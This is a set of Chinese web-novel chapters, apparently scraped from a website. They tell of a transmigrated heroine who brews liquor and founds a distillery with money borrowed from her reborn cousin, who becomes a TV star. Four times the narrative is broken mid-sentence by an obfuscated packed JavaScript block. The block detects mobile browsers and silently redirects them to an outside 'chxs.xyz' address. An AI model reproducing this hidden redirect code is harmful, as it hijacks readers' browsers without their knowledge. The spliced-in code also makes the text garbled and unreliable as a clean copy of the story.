苗双双北方大妞,不够细致,但有个非常突出的优势,那就是很高,站在那里就不可能没有存在感。 她风尘仆仆地赶来,脸也没来得及洗,头发也没来得及梳,只剩一双眼睛,像十五的月亮,伴着满眼的期待,剧烈喘息起伏着。 吴春华一下子被镇住了,很美啊,像大荒地里的野狼一样美。 上下打量了苗双双很久,终于点头同意了。 “你来试试。” 苗双双兴奋极了,只要敢让她试,她就敢成! 她可不是一点没接触过演戏,前世她就演过一段时间,别管她演没演出成绩,会肯定是会的。 所以在吴春华以为她作为个纯素人,会比较难教的时候,她用自己的“天赋”,一举震惊了吴大导。 吴春华现在正拍的,是讲述唯一女皇一生的历史大剧。 一开始,她对苗双双的定位是一个宠妃,一个给女皇造成麻烦,却实在美丽的宠妃,但苗双双给她的惊喜,让她改变了主意。 她要让苗双双饰演女皇的女儿,因为感觉非常对,她甚至决定要给女皇的这位女儿,多加一些戏份。 从后世重生来的苗双双,怎么可能不知道这部剧,万万没想到,自己随便找来的一部剧,居然是这么大的一部剧! 知道所有后,苗双双恨不得把吴导当亲妈一样供起来。 她虽然恶毒、贪财好胜、见利忘义,但讨好人的手段,却是一流的,很快吴导就把她当亲女儿一样处了。 有了吴导的青睐,不仅捞了许多戏份,最后还获得了丰厚的片酬。 三个月结算下来,一共给了她五千块! “我天天一站就是一整天,每个月才四百块,双双一天天从剧组吃,从剧组住,就挣了五千!” 叶世梅说得很激动,她是真心觉得骄傲,毕竟她们老叶家土里刨食一辈子,从没出过这样的人物。 “哈哈哈!”谁不喜欢自己孩子被夸,叶世英笑得前仰后合,嘴上却是,“哪有哪有,死丫头走运罢了,你们青青更厉害!” “看看这些酒,猜猜是谁酿的,猜不到吧,这可都是青青酿的!” “这可是了不得的一门手艺,以后肯定有大用!” 听见提到自己,叶奚青在最下首,标准化一笑:“大姨,哪有你说得那么厉害,光会酿,不会卖又有什么用。” 随后举起酒杯,她惯常沉默的人设做的很好,不用演的太用力,只要语言到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075260|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位,苗双双自己会脑补。 “还是双双你厉害,你刚刚说的那些事,我听都没听过,敬你一杯。” 苗双双一脸得意地接过酒杯。 为了给她和叶世梅接风洗尘,叶世英准备了一大桌子好菜。 不过在这时,就连凳子也是稀缺物,所以为了省个凳子,桌子会靠炕边放,让一个人盘腿坐炕上。 这样一来,省了个桌位,少了个凳子,让人去炕上坐,还有种尊人为主位的尊敬感。 本来应该是叶世梅这个“客人”的待遇,但你推我,我推你的,就成了苗双双。 坐在这个“一家之主”的位置上,可以居高临下地看着叶奚青,让苗双双非常爽。 好像她终于不用和叶奚青比了,因为叶奚青自然而然地觉得不如她,本人都这么觉得了,那她还有什么不甘心的呢? 苗双双美滋滋地接过酒:“那让我尝尝,看你酿了个什么玩意。” 叶奚青微笑。 一家人吃饭,不用喝那么狠,就只给她盛了一个浅底。 苗双双酒量很好,接过一口就干了。 她沉醉于叶奚青向她敬酒的爽感,等酒完全入喉,回香涌起,才意识到,这酒居然不错? 苗双双震惊地看着叶奚青。 她们这母女三人,其实之前都是给陆家酒厂打工的。 叶世英是洗瓶子的,叶奚青是化验员,而苗双双那种性格怎么可能安心待在厂里出死力气,所以她是公关部搞销售的。 卖酒的人,不能一点酒不懂,所以她尝了一口,就尝出这酒的等级了,可以媲美勾兑酒的顶级粮食酒。 不要怪她用这种奇怪的形容,实在是懂酒的都知道,说的时候是粮食酒好,但你真产的时候就会发现,粮食酒根本没有勾兑酒稳定。 这也是为什么陆家要走那条邪路,人工钻石比天然钻石还纯,那你怎么知道我是人工的,还是顶级天然的? 而叶奚青酿的这个酒,不辣喉,不冲脑,一口就能尝出是粮食的,却一点没有粮食发酵过程中的酸味、涩味、苦味。 这样的酒搁厂里,得当酒王产,结果居然是叶奚青私下里酿出来的? 苗双双惊疑不定地看着叶奚青,叶奚青却没发现她震惊的目光,而是一脸无辜地看向她:“双双,行不行,如果不行,我们便宜卖好不好?” “这些天很发愁,不知卖给谁。” “酒那么贵,粮食那么贱,就算我们便宜卖,肯定也能赚点吧?” 叶奚青絮絮叨叨的声音,充满了对酒业的无知,逐渐让苗双双心暖暖,果然还是她那个废物表姐~ 两世她都不知道她表姐会这门手艺,突然知道后,确实有点震惊。 但废物就是废物,有了这么逆天的手艺,还不是不会用? 所以苗双双几乎立刻产生了指点江山的冲动,居高临下道:“便宜什么,哪个东西是便宜卖出去的,便宜没好货知道吗!” “这些东西你就别管了,我来给你卖,我说卖多少就卖多少!” 把酒酿出来,第二个关口就是卖,叶奚青刚到这个世界三个月,其实并没有什么头绪。 但没有关系,女配总要物尽其用,叶奚青一脸崇拜,海豹鼓掌—— “哇,真的吗,双双你可真厉害。” 9. 《换嫁九零》 苗双双满打满算、大包大揽,让全家人都信心十足、喜气洋洋,只有系统异常崩溃。 这还是恶毒女配吗,她人设崩了吧!哪个恶毒女配不仅不给女主使坏,还要帮着女主卖东西啊! 系统不存在的心,都快气的绞痛了,但在崩溃之余,它还在坚持。 恶毒女配说能卖出去,就一定能卖出去吗?随便说一嘴谁不会啊! 如果她真有她说的那么厉害,原定世界线,又怎么会把自己的日子过成那样? 叶奚青也是疯了,嫌弃它给的各方面都很优秀的男主,却把希望寄托在女配身上。 它倒要看看,这个奇葩组合,最后到底能怎样! 还好叶奚青听不见系统的心声,不然她一定要说,还能为什么,前世傻了吧唧找了个霉货老公,把自己的气运吸没了呗。 叶奚青摇摇头,太可怜了,还好她这个女主洪福齐天,从来不吸别人气运,只会让别人帮她打工。 于是一大早,叶奚青就拉着苗双双实地考察,唉声叹气道:“之前还以为酒在这了,怎么都能卖出去,结果就村头老苗头花两块钱买了一塑料瓶。” “白瞎了这么多粮食,却卖不出去多少,如果砸手里了,该怎么办啊?” 苗双双是叶奚青一发愁,她就高兴,所以看着叶奚青皱起的眉,她反而兴奋起来。 得意扬扬地检视起她们这几个月的劳动成果,挑眉:“这一桶得50斤吧,你们还弄了不老少?” 叶奚青点点头:“嗯,主要是东西都找出来了,不一口气多弄点,反而有点亏。” “双双,我们也不指望你能卖多少,卖出去一桶也就回本了!” 呵,苗双双无所谓地看着。 地上整整齐齐六大桶酒,这是专门用来装酒的酒桶,都是有定数的,一桶50斤,一共三百斤,旁边没装满的还不算。 苗双双每个酒桶都打开尝了一下,尝完后,瞬间有数了。 老大似的一招手:“给我称五斤酒,我拿上,等晚上回来,你们就等着数钱吧!” …… 苗双双这么说着,还真就一天没回来。 众人急得团团转,卖不出去也就罢了,怎么人还没影了! 就在众人越来越急的时候,一连串“轰轰”的车声响在门口,从车上跳下来一个熟悉的人,正是苗双双。 “我回来了!” 众人一见是她,立马迎上,却不承想后面还跟着一个胖乎乎的中年妇女,满面春风地跟进来,声若洪钟道:“酒在屋里吗?我去看看!” “看吧!看吧!”苗双双大方地把她让进屋。 那妇女和上午的苗双双一样,打开桶盖,挨个尝起来。 等尝完,眼放精光,转头看向一家人,满面堆笑道:“你们想要个什么价?” 一家人面面相觑,居然真的卖出去了! 叶奚青立刻转向苗双双,尽职尽责地用充满崇拜和探究的眼神扫射:这是为什么呢? 苗双双很得意,那还不简单吗? 只有当一个东西少,需要一对一面对客户时,才需要考虑客户在哪,客户需要什么。 而当大批次贩卖时,只需要考虑,谁会在这个过程中受益。 酒这个东西,那可太有意思了,粮食卖三四毛,它卖二三十,而一旦贴上标,那一瓶就能卖一百多。 这么大的利润,怎么可能没人在里面伸手,所以就有那种倒腾酒的,这个妇女就是其中之一。 这其实也不是秘密,本地私家酒坊,多多少少都和这个妇女有联系。 她男人在瓷瓶厂很有话语权,她们两口子,一条龙服务,一个倒腾酒,一个贴标,转手倒卖出去,就能卖个七八十,家里不知道多有钱,只有叶奚青这个睁眼瞎,啥也不知道。 今天苗双双提的那五斤酒,就是去送礼的。 把酒摆出来,又请她们一大家子去饭店吃了一顿饭后,姓蔡的女人顿时火急火燎地来了。 没谈成的时候是她们求她,谈成的时候就成了她求她们了,所以苗双双一点没在价格上松口,最后以二十二的价格成交了。 没能继续杀价,姓蔡的女人很是遗憾,但定了价后,给钱就很爽快了。 “我也不称了,你这个度数可不低,一桶肯定不到50斤,但我也给你按五十斤算了。” “这是六千六百块钱,你们数数,但凡有一张假的,你就拿着大喇叭上你蔡姨家闹去。” “这附近收酒的,骗子可多了,也就是你蔡姨我家在这里,都是老乡,才跟你们这么实诚。” “这是你蔡姨的电话,等以后你们又有酒了,还是来找你蔡姨昂!” “那是肯定的,就是知道您的名声,才来找的您嘛!” 苗双双妙语连珠,蔡姨温柔解语,两个人把对方哄得都挺高兴的。 只有叶世英看着手中一沓子钱,回想着苗双双的五千片酬,头脑发晕。 这么一来的话,万元户不就成她们家了吗! …… 继赚钱后,最重要的当然是怎么花钱。 叶世英把所有钱都摊桌子上,数了一遍又一遍,酡红的脸在昏暗的灯光下仿佛喝饱了酒,最后双眼放光道:“我们把过去的欠账还一下,就盖个房子吧!” “这房子还是我和双双她爸结婚时盖的,太小太旧了,住不开人,咱们盖间大的!” “等新房盖好后,世梅你也回来,咱们不出去了,就在附近找个工作,以后都一家人一起住!” 叶世梅不敢置信。 她早就没有家了,以前爹妈活着的时候,还能回去看看,俩老的都去了后,那就是她哥嫂的家,她也知道讨嫌,慢慢的也就不回去了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075261|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这些年把女儿丢在姐姐家,一个人在外面漂泊,除了打工赚钱,也是有点逃避的意思。 她已经能敏锐地感觉到,这个世界,哪个地方都不欢迎她了,万万没想到,能有这样的际遇,姐姐还愿给她留个地! 这时候,她甚至想像苦情电视剧里的女的那样,跪下大喊:只要能让我留在这个家,让我做丫鬟也愿意啊! 对叶世英的决定,自然举双手双脚赞成。 叶世英和叶世梅两个上了年纪的,自然是一有钱就想盖房,叶奚青却想的不一样。 她不想否定两位女士想有个家的想法,但以现在的建筑水平,盖个房子估计得一年,也就是说有一年不能酿酒。 盖了房子只是一万块钱,升级一下酿酒设备,却是源源不断的一万块钱。 开局当然先种向日葵啊,所以她建议先把简陋的酿酒设备换一下。 叶世英、叶世梅姐妹陷入沉默,很有道理啊…… 而苗双双看着她们仨,却和她们全都不一样,咧嘴一笑:“都不要,我要安部电话,再买台彩电!” 叶世英:嗯? 电话和彩电在这个年代可是高级消费,就算她们赚了点,也不敢这么浪,所以叶世英觉得自己女儿疯了。 苗双双却很理所应当:“当然要安部电话,不然以后你们卖酒,还去商店里打电话吗?” 叶奚青:…… 有道理。 “而且我马上要上电视了,没有彩电,你们去别家看我啊!” 叶世英:…… 也很有道理啊! 就这样,最不可能的方案,反而被优先采纳了。 苗双双兴致勃勃地骑上家里唯一的自行车,去县城买彩电。 作为一个从未来重生回来的人,她想的和家里那仨原始住民一点不一样。 盖房子,盖什么房子? 以后的房价多逆天啊,有这钱,还不如趁便宜去首都买个房子,你再努力奋斗,能比得上人家轻轻一个拆迁吗? 至于叶奚青说的,倒有那么几分道理,但她一个臭卖酒的,能比得上她这个未来大明星兼首富太太吗? 所以搞搞清楚轻重缓急,到底是她叶奚青的需求重要,还是她苗双双的需求重要,还用说吗! 以后这个家,还不得她来养,叶奚青给自己赚个零花钱也就够了。 她可一点没指望着叶奚青卖酒赚钱,只指望着自己大红大紫,然后嫁入豪门。 以后那钱都不值钱了,随便一两万根本算不了什么,她未来的老公,可是全国首富,她……嘎—— 苗双双按了个急刹车。 晴空万里,万里无云,心情愉快,心情一愉快,就容易忘很多事。 但忘的事再多,总有一天也会想起来,所以现在她只有一个念头—— 坏了!未来首富! 10. 《换嫁九零》 “啊——” 苗双双发出尖锐爆鸣,这种事怎么能忘了呢! 所以当苗双双回来后,不仅带回了彩电和电话的安装工人,还带回了一个孩子。 众人:…… 孩子? 对此表示最大震惊的是叶世梅,她不是在这边长大的,这是她姐姐、姐夫家,她和这面的亲戚都不熟悉,所以有些疑惑地问:“这是谁家的孩子?” 苗双双眼神瞥向别处,若无其事道:“朋友家的孩子,托我带几天……” 叶世英却炸锅了,蹭一下放下手中家伙什:“你放屁!这明明是顾家那个小崽子!” 苗双双:…… 重生后一切都太顺了,以至于她差点忘了,自己重生回来到底是干什么的。 回过神来后她才发现,她把“未来首富”晾了三个月! 当她怀着沉重的脚步踏入顾家门时,她都害怕顾鹏飞已经改娶了。 所幸这种事情并没有发生,毕竟这里的人并不知道顾鹏飞是“未来首富”,所以现在的他还没有那么抢手。 但对于苗双双的放鸽子行为,顾鹏飞还是很生气,毕竟是苗双双先招惹他的。 顾鹏飞是这片唯一的大学生,在早些年,大学生还是很值钱的,一毕业就被安排到高中当老师。 在这一片,高中是最高等的学校,当老师工资稳定,受人尊敬,他学历高还好升职,很让人羡慕,多的是姑娘想嫁给他。 但谁也没想到,时代能变得那么快,文化越来越不值钱,全民向钱看,比起一个高中老师,那些“下海经商的大老板”更被人羡慕。 所以顾鹏飞的媳妇没经住诱惑,在一个南方大老板的引诱下,孩子也不要,就跟着他跑了。 经过这事打击,他原本不想那么快再找的。 但孩子小,天天哭,他娘身体不好带不了,弟媳也不愿意帮他带,每天没日没夜的,吵得家宅不宁,让他工作都工作不了。 经过一段时间的摧残,他意识到家里没个女人真不行,在媒人的介绍下,将目光放向了苗寡妇家的叶奚青。 叶奚青在十里八乡算漂亮的了,为人还老实勤快,不爱穿红戴绿,很多人都说,娶到她当媳妇就是赚了。 而且还是个私生女,出身不光彩,她自己都这样,也就嫌弃不到顾鹏飞二婚带娃。 顾鹏飞在媒人的带领下,亲自去苗家提亲,果然一切都很顺利。 他生的一表人才,还是大学生,有个好工作,苗寡妇对他很满意。 但他没想到,苗寡妇的亲女儿,居然也看上了他。 原本他不至于苗双双一引诱,就上钩的。 但他毕竟是个读书人,总有些文人风骨,对于陆景安那种暴发户行为,心里非常看不上。 这些天因为两家同时来求亲,少不得拿他来和陆景安比较,世人皆嫌贫爱富,自然经常揶揄他。 虽然知道现在这个时代笑贫不笑娼,但顾鹏飞心里始终攒着一股劲,不愿认同,也就在这时,苗双双对他伸过了橄榄枝。 他没想到,在这个物欲横流的时代,居然真的有一个女孩,愿意抛弃荣华富贵,坚定地选择他。 这简直像为爱夜奔的红拂女,冲破世俗的祝英台,怎么能不让人感动? 而苗双双一个女孩子都这么勇敢了,他怎么能退缩,只能惭愧辜负叶奚青,坚定地抓住苗双双的手。 但他没想到,苗双双就订婚前刷了一下存在感,订完婚马上跑路了! 一开始他还安慰自己,可能是苗寡妇棒打鸳鸯,故意把苗双双支走,他能等,精诚所至,金石为开! 但等了三个月后,他颓了。 家里的一切乱糟糟,原本以为很快就能迎来个主事的女主人,苗双双却不见影了。 早知如此,当初还不如不添这档子事,直接娶叶奚青呢! 因为这个,他再见苗双双,就有一股怨气,苗双双自知理亏,赶紧上去哄他。 苗双双舌灿莲花,加上美容丹的加成,顾鹏飞气顺了,但把孩子丢给了她。 “双双,我们家最近事有点多,实在是顾不上孩子,你能不能帮我看几天?” “这孩子的娘没了,你以后就是他的亲娘,这个家还得靠你啊!” 苗双双:…… 她很讨厌小孩,整个村里的小孩都害怕她,现在居然要帮别人养孩子! 但能怎么办呢,毕竟是她有求于顾鹏飞,不能不顺着他…… 苗双双异常纠结地将孩子拿在手里,眼睛一转,看向身边的叶世梅:“小姨……” 叶世梅:…… 她倒是挺喜欢孩子的,但回来这几天,经大姐一说,她才知道发生了那么乌龙的事。 对于自己女儿无疾而终的婚事,叶世梅并没有那么大的占有欲,但大姐描述中的顾鹏飞,让她想起了不好的回忆,并不想帮忙,就推脱道—— “双双,我挺忙的,我在和你妈和你姐酿酒呢,腾不出手,你找别人吧。” 苗双双便转移目标:“青青姐……” 叶奚青抬头微笑:“我也在酿酒,而且,我还只是个孩子,不会带孩子。” 苗双双:…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075262|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 干什么!求她帮忙时那么积极,现在她需要帮忙了,一个个都不理她是吧! 尤其是叶奚青,你是什么孩子啊,前世不是带得很欢实吗! 但她说的没用,真正的“一家之主”,她亲妈发话了。 叶世英在一旁边干活边冷笑:“你找别人干什么,这么喜欢给别人带孩子就自己带啊!” “真不知道怎么生了你这么个贱骨头,放着好好的日子不过,就喜欢给男人带嚼头!” “我不管你了,你也别攀扯别人,愿意带就自己带一辈子!” 苗双双:…… 她是为了谁啊!她这么讨好顾鹏飞,还不是为了这个家! 结果一个个的,没有一个理解她,还对她冷嘲热讽。 伤心欲绝的苗双双一发狠,自己带就自己带! 等顾鹏飞成为全国首富后,她要看看这些人,会不会因为当初误会她后悔! 苗双双是铆足了劲等打脸那天,但计划赶不上变化快,刚哄了几天孩子,新安好的电话,就来信了。 电话那头,是吴春华。 经过几个月,苗双双还是给吴春华留下很好印象的,所以在一个朋友新开的剧里,吴春华向朋友举荐了她。 她朋友要拍的是一部武侠改编剧,原著女主是武林第一美人,亦正亦邪的绝世妖姬,在连载时人气非常高,一直找不到合适的女演员。 但看到吴春华的推荐后,导演眼前一亮,立刻拍板同意了。 这下麻爪了,苗双双看着怀里吱哇乱叫的孩子,和冷酷无情,一点不想帮助她的其她三人,到底想干什么啊! 但再怎么样,苗双双还是优先自己,这么好的机会,怎么可以错过! 所以虽然是讨好未来首富的关键时刻,她还是义无反顾的走了。 只是临行的时候,去顾家说了一大通好话,画了一大堆饼,并心疼地给了些钱。 系统看着苗双双远去的背影,整个统都麻木了,怎么不只女主,女配都不走剧情了! 悻悻地看向叶奚青:“你说你们值得吗,就算再辛苦,又怎么比得上嫁给男主,直接捡现成的,这样不觉得累吗?” “是吗?” 虽然赚来的钱都用来安电话和买彩电了,但叶奚青还是抠出来一些买设备,现在她工作的条件好多了。 工作条件变好,她就更有时间琢磨新的酒方,还有闲心和系统说话。 “比起让别人成为未来首富,当然是未来自己成为首富爽,而且——” “离你家男主破产,不就剩三年了吗?” 11. 《换嫁九零》 系统:…… 它真有点破防了。 原本给男主安排一个破产剧情,只是为了让女主有点参与感,不显得一点作用没有,白白享受男主的荣华富贵,没想到却成了叶奚青羞辱男主的点。 系统心里有点不舒服,就像动物世界中,虽然鬣狗捕食成功率很高,算是成功者,在慕强的动物圈里,还是经常被大众看不起。 盖因就算弱小者扳倒了强者,用的手段太难看,求索的成果匹配不上实力,也不会让人觉得爽,只会为强者感到不平。 怀着这种不平,系统阴阳怪气道:“那宿主会走到什么位置呢,会走到男主原定剧情的位置吗?” 叶奚青回头看向系统,依然是一副死水脸,说的话却很“燃”。 “当然,我今年才18岁,陆景安破产了也才21,你没有听过那句话吗,莫欺少年穷。” 系统:…… 它的心里满是讥讽,但还是如叶奚青所愿地微笑道—— “很好,宿主,你很自信。” 但这个世界上,小富靠拼,大富靠命,都说莫欺少年穷,真能走到顶尖的,其实也只有很少的一撮人。 宿主真的能像她说的那样翻身吗? 它拭目以待。 …… 自那日立下豪言后,叶奚青就夜以继日地研究她的酒,但事与愿违,三年过去,她还是在小地方打转,反倒是苗双双爆红了。 《一代女皇》播出后,因为精良的制作,跌宕起伏的剧情,很快火遍大江南北。 在那个娱乐匮乏的年代,无数个电视台,反反复复,早上播完晚上播,这个播完那个播,几乎人人都要看好几遍,苗双双就这么进入了全国人民视野。 她在里面的戏份不是最重,却很讨巧,不仅是女皇最宠爱的女儿,还换个扮相,演过一段女皇少年时,非常受观众喜爱。 而她被美容丹加持过的美貌,也让人一见难忘,在她扮演的敢爱敢恨,神采飞扬的武侠女主上线后,更是一跃成为所有人的梦中女神。 如今各大剧都争相抢她做女主,片酬越给越高,广告约也是纸片一样飞来,甚至每家每户都可以看见她的挂画。 这样的她,每天都很忙,所以一回到家,直接躺沙发上,满脸疲惫道:“找我干什么?” 苗家的房子还是盖起来了,不过不同于叶世英期待的“五间大瓦房”,而是一栋装修精致的二层小洋楼,全是苗双双按照后世的房间设计的,再过几年也不过时。 如今叶奚青叶世梅母女也住在里面,苗双双也不在意,毕竟她现在已经和这些人完全不是一个层次的了。 叶奚青穿越到一个穷得漏风的家,本来以为要吃几年苦,没想到第二年就被恶毒女配带飞了。 吃不了一点苦的叶奚青,老实在在地坐在沙发对面,一脸诚恳道:“双双,我想和你借一些钱。” 苗双双:…… 嗯? 她倒不是因为叶奚青向她借钱这事震惊,毕竟经过这么多年,她和叶奚青那点破矛盾早消失了,叶奚青就只是她姥姥家那边很近的一门亲戚。 在农村,亲戚之间看你发达了,找你借钱,是很常见的事。 而她有今天,和叶奚青母女息息相关,她还没有那么忘本,当没事发生过,所以叶奚青找她借钱,在她看来很合理。 她只是烦躁,怎么今天找她借钱的那么多啊,在叶奚青找她借钱之前,顾鹏飞已经先找过她了。 说实话,这些年她和顾鹏飞的关系,是有点糟心的。 原本因为重生的预知视角,她对顾鹏飞千依百顺,捧在手心怕吓着,含在嘴里怕化了。 但随着事业越来越好,捧她的人越来越多,她不自觉就产生了一个想法:顾鹏飞凭什么啊? 她已经感觉到不忿了,但顾鹏飞好像还没意识到,还是用原来的态度,不是对她指手画脚,就是对她要求这要求那的,再不就是催她结婚。 她现在事业刚起步,正是如火如荼的时候,顾鹏飞催她结婚干什么,是不是一点没考虑过她! 而且有一次她去他家时,听见他爸在里面说话:“电视上天天看见双双和不同的男人搂搂抱抱,这样是不是不好啊。” “我们老顾家,咋都娶这样的媳妇啊……” 他爸对她的恶意已经这么明显了,顾鹏飞却坐在一边,一句屁都没放! 苗双双从来不是个好脾气的,因为“未来首富”,她已经忍很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15075263|163342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久了,这次却是一下忍不了! 冲进去就和顾鹏飞吵了个天昏地暗,吵到激动的地方,把顾家的东西都砸了不少。 吵完后,苗双双开上车就走了,直找了个剧组,在里面待了好几个月,最后反而是顾鹏飞先和她道了歉。 苗双双吵完后,其实是有点后悔的,毕竟除了“未来首富”,谈这么多年了,咋也有点感情。 见顾鹏飞先服软,立马顺台阶下了。 也就是这时,有了那个借钱—— “双双,我知道你生气,可你能不能也理解一下我,哪个男人在看到心爱女人和别的男人亲密时,能不吃醋呢?” “不过我知道这也不怪你,是我太没用了,才让你不得不出去抛头露面。” “为了你,为了我们这个家,我以后会更加努力!” “学校那边的工作我已经辞了,想和朋友去南方闯一闯。” “我们已经找好了项目,就是启动资金还不够,双双,你能先借我十万块钱吗?” 苗双双回忆着顾鹏飞的话。 原本顾鹏飞辞掉工作,就代表他要开启他的“首富”事业了,她应该高兴,应该举双手双脚赞成。 但她居然没有。 究其原因,可能是她对顾鹏飞的定位,一直是嫁给他就可以不劳而获,结果现在居然需要她投资! 不是说好了白手起家吗,和她借钱到底算什么白手起家啊! 等他成功了,那到底是他的功劳,还是她的功劳呢? 如果是她养她自己,那她前面对顾鹏飞的讨好算什么! 虽说天下没有白吃的午餐,想成为未来首富太太,多少也应该付出点,但你和恶毒女配讲什么道理,谈什么情操。 苗双双心里非常不舒服,也就没立刻答应,而是以“刚买车,资金周转不开”为借口,让他再等等。 因为心情不好,烦躁地回老家躲躲清闲,没想到叶奚青也找她借钱了。 坐直身子,上下打量着她:“你借钱干什么?” “开个酒厂。” 和她想的差不多。 “借多少?” “十万。” “噗——” 啥? 12. 《换嫁九零》 好好的一杯茶,全喂茶几了,苗双双怀疑自己幻听了:“多少?” 听她问,叶奚青便继续老老实实地回了一遍“十万。” 苗双双:…… 你真当我们关系很好是吧? 但在她无语的间隙,叶世英已经来打圆场了。 虽然她也觉得十万有点多,心里犯嘀咕,但毕竟是相处这么多年的一家人,不能穷的时候好好的,一有钱马上就散吧。 所以叶世英赶紧劝道:“都先别急,咱们有话慢慢说!” 叶奚青当然也没准备空口白牙套十万,立刻从背后掏出一个厚厚的本子,递到苗双双面前:“这是我这几年经营小酒坊的账目,和往来单子。” “第一年你也知道,还是你张罗卖出去的,第一单就卖了六千多,这之后,有蔡姨牵线,生意还挺好的。” “第一年卖了一万多,第二年卖了三万多,今年到现在,已经卖了五万来块,还有一万未结的货款。” “你也知道,我这是小本经营,只雇了一个周姨和一个苗姨,成本不高,刨去买设备、买粮食、租场地的钱,大概能净赚个五六万。” “五六万双双你现在可能不看在眼里,但我相信,等我的酒厂规模变大,肯定能赚更多回报你。” “以后我的‘青青酒业’,会成为咱们这里,比陆家酒厂还要大的酒厂。” “到时候我会给你10%的股份,给大姨5%的股份,双双你看怎么样?” 苗双双:…… 你拿我的钱建厂,给我10%的股份还要我感谢你,我怎么不弄死你啊! 但很显然,她妈被说动了。 三年赚了五六万,那两年赚个十来万有问题吗? 而且居然还想着给她5%的股份,这外甥女真有良心啊!真没白疼! 反正她看她女儿现在挣钱好像还挺容易的,与其天天大手大脚的买金买银,买车买表,或者背着她贴补顾家那一大家子,还不如拿出来给外甥女办厂呢! 给外甥女花,等外甥女发达了,自己家还能捞到点,给别人花了,你说你能捞到个啥? 所以有就借吧!一家人不说两家话! 苗双双:…… 她这次真是被逼到头上了。 这些年她虽然赚的多,花的也不少,十万块大概是手头仅剩的一点存款,结果一个两个都盯着。 哗啦啦地翻着叶奚青给的账本,她初中学历,也就是这些年被逼着看剧本,才恶补了一些文化知识,其它的东西她哪乐意看啊。 叶奚青说的赚钱啦,股份啦,她都当扯淡,但有一点突然牵动了她的心,那就是叶奚青说,她要成为“超越陆家”的酒企。 陆家,好久没听见了,话说,它现在是不是该破产了? 一想到这,苗双双就想笑。 前世她嫁进陆家,可倒八辈子霉了,公公在家时,就和个皇帝一样,要全家像太监一样侍候他。 她早上去请安,晚上去问好,还要实时聆听“教诲”,说话都不敢大声。 餐桌上他不动筷,全家人没人敢动,一有什么事,就拿她们当出气筒一样斥骂。 说实话,当初听见公公被抓起来的消息后,她甚至笑了一下。 不过抓起来,后面日子更糟心这种事,就不用提了。 叶奚青说的三年赚五万,两年赚十万这种事,她是不信的。 小酒坊和大酒厂的运作模式都不一样,经营又不是简单的“1+1=2”,哪能有那么顺利? 但是如果陆家会倒,那就不一样了。 陆家盘踞在这里,几乎吸干了本地的所有酒业市场,有它在,其它小酒厂就抬不起头。 但它马上要倒了,它倒了,就会让出一大片市场。 她知道这件事,但她对酒只是懂个皮毛,并没到了要办厂去分这一杯羹的地步。 那么如果叶奚青有意,把这个机会让给她也行啊。 后世虽然因为举国驰名的陆家酒倒台,让当地酒业的声名萎靡了一阵,但还是如雨后春笋般涌出许多酒企。 那些酒企说着不赚钱、不赚钱,然后默默地建了好多园区,老板买了好多豪车,盖了好多豪宅。 有钱了才知道钱的好,叶奚青毕竟和她们一个屋檐下住着,她有钱了对她没什么坏处,最起码的,有钱了应该就不会和她借钱了。 一会儿的时间,苗双双想了很多,最终对着叶奚青招招手:“那你给我写个字据。” “已经写好了。” 话音刚落,叶奚青就麻利地从背后掏出一张打印合同,只差签字按手印了。 苗双双沉默着接过,一目十行地扫完,麻木地开口:“所以你根本没想过我不借这回事是吧?” 叶奚青乖巧微笑:“有备无患,有备无患。” …… 就这样,“青青酒业”开业了。 为了庆祝,请了好多民间艺人吹拉弹唱,时下最红的明星苗双双,还亲自来剪彩。 本地出了个大明星这种事,是所有人的大话题,几乎所有人都听过苗双双的名字。 一听说苗双双回乡了,还要出席一个酒厂的剪彩,立刻引来乌泱泱一堆人围观。 看热闹的人里三层外三层,把酒厂围得水泄不通,气氛炒得火热。 苗双双精心打扮,满面笑容,和叶奚青一起迎接大客户和当地领导。 本来苗双双是可以不来的,但谁让她和顾鹏飞又吵架了呢。 顾鹏飞对苗双双这种不把钱借给自家男人,借给外家表姐的行为,大为不解。 